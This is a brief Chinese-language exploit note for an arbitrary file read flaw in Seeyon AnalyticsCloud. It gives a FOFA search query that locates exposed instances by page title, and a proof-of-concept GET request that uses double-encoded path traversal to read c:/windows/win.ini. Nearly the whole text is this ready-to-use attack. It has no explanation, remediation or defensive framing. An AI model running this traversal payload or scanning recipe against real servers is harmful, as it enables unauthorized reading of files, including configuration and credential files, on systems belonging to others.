致远AnalyticsCloud 分析云任意文件读取漏洞

FOFA语句：

title="AnalyticsCloud 分析云"

 POC：

GET /.%252e/.%252e/c:/windows/win.ini HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive